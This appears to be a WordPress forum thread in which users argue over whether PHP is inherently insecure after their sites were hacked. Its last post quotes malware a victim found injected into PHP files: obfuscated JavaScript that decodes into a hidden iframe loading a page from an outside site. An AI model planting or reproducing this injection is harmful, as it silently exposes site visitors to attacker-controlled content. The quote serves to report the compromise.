clarkeian

Ivovic,

I notice that you have now completely dropped the substantive argument about PHP’s security, and are trying to change the subject to some meta-rhetorical waffle. This doesn’t really surprise me, changing the subject is a common (if rather lame) way to avoid losing a debate.

Even though I think your meta-rhetorical waffle is at least as specious as your opinions on programming language security, I came here to discuss the former, not the latter.

Since you’ve dropped the subject I’m interested in, I think we are done.

Ivovic wrote:

Bzzzt… sorry, but that’s a load of crap. Those same shortcuts you speak of, make code easier to follow, and hence easier to debug.

Dude, you don’t know what you are talking about. These ugly kludges may make it easier to write insecure code, but often there is an inverse relationship between ease of writing and ease of reading, just look at Perl. PHP is a horribly designed language, it encourages insecure coding practices, and they don’t even bother to keep the API stable from release to release. In short, PHP is a mess of a programming language.

You’re arguing against my words, not against the spirit of what I was saying.

Are you kidding? You are seriously saying that I should ignore what you actually say and try to imagine what you are thinking instead?

That’s a tired old forum tactic that I don’t plan to indulge.

A tired old forum tactic called “rational debate”.

Having said that, it (again) holds true that the more code you add, the more likely it is that something will go wrong. That’s true in all concievable cases.

That is only true if you assume that all code is equal, but it isn’t. 10 lines of secure code is better than 1 line of insecure code.

In the conversational sense, exploits are just a kind of bug.

Yes, and…? If A is a kind of B, that doesn’t mean that A is the same as B.

That doesn’t mean the exploits aren’t there. I’ve never seen under your mattress, but that doesn’t mean your sticky copy of equine weekly is a secret.

Now you are just rambling incoherently. Of course there could be unknown exploits in non-PHP apps on my server, the point is that there are two known exploits in the PHP apps, in addition to all the unknown exploits there might be.

Okay, I’ll bite. Name a few. (And please understand: I’m NOT trying to be contentious here. I am actually quite curious to know your response.)

Exploits in Java code are rare, because Java frameworks tend to enforce good security practices (such as maintaining separation between data and code, and automatically escaping strings – something you have to do manually in PHP).

Getting specific, one Java-based framework I have personal familiarity with is Apache Wicket – and I’m not aware of a single successful exploit of a Wicket-based website.

Of course, you can write insecure code in any language, the difference is that in Java-based frameworks you really have to do something dumb, but in PHP the obvious way to do many things is insecure by default.

When an exploit is found in most software packages, it is a genuinely rare thing that people react strongly to. It seems that when an exploit is found in WordPress, it just results in another “ho-hum” point release.

WordPress users seem to simply accept these critical vulnerabilities that would be a huge scandal meriting a grovelling apology from those responsible in other software projects. Its depressing that expectations are so low around here ??

Ivovic wrote:

“easy to build websites with hard to find vulnerabilities”

I’m surprised the universe didn’t implode when you said that. If it’s easy to build… then surely it’s easier to find the vulnerabilities than if it were HARD to build with it, right?

Wrong, easy to build does not imply that it’s easy to find vulnerabilities.

PHP gives you lots of little shortcuts which make it easier to get the functionality you want, but often they also make it easier to do it in a way that allows malicious code-injection.

What’s your point anyway? You want something absolutely bug-free? Sorry it doesn’t exist.

Not bug-free, exploit free. There is plenty of software on my server that has never allowed my server to be compromised. PHP has allowed my server to be compromised at least twice!

The more popular something becomes, the bigger a target it is. You chose wordpress because everyone thinks it’s great. That’s the same reason the hackers are after it.

Hackers are after it due to the combination of its popularity, and its insecurity. There is plenty of popular and secure software out there.

Trade ease of use, compatibility and extensibility for obscurity, then we’ll see you on their forum complaining that they don’t have as many nice features as wordpress.

Useful features and security are not mutually exclusive, that is a lame cop-out. There are plenty of software platforms that are both featureful, popular, and secure. Perhaps if you spent more time away from PHP you’d see that.

What I’m more interested in is how they got in in the first place. I’ve asked our sysadmin, who is pretty good at hunting down this sort of thing, to investigate our logs.

The real problem here is PHP itself, it makes it way too easy to build websites with hard-to-find vulnerabilities, so much so that even experienced PHP coders like those at WordPress screw up periodically.

The only plugin we have in common is Akismet.

I’ve done a fresh install and deactivated all plugins except Akismet. Could this be a hole in WordPress itself?

I did a fresh reinstall, but this is very worrying. Many others are reporting the same problem.

Anyway, thanks for your help, but this really shakes my faith in PHP generally (our server was hacked due to another PHP-related vulnerability just a few weeks ago). This also isn’t the first time I’ve had WordPress issues.

I also just got hacked like this. We don’t seem to have any plugins in-common, but I found that a lot of PHP files contained the following:

<?php echo '<script type="text/javascript">function count(str){var res = "";for(i = 0; i < str.length; ++i) { n = str.charCodeAt(i); res += String.fromCharCode(n - (2)); } return res; }; document.write(count(">khtcog\"ute?jvvr<11yyy0yr/uvcvu/rjr0kphq1khtcog1yr/uvcvu0rjr\"ykfvj?3\"jgkijv?3\"htcogdqtfgt?2@"));</script>';?>

Very scary…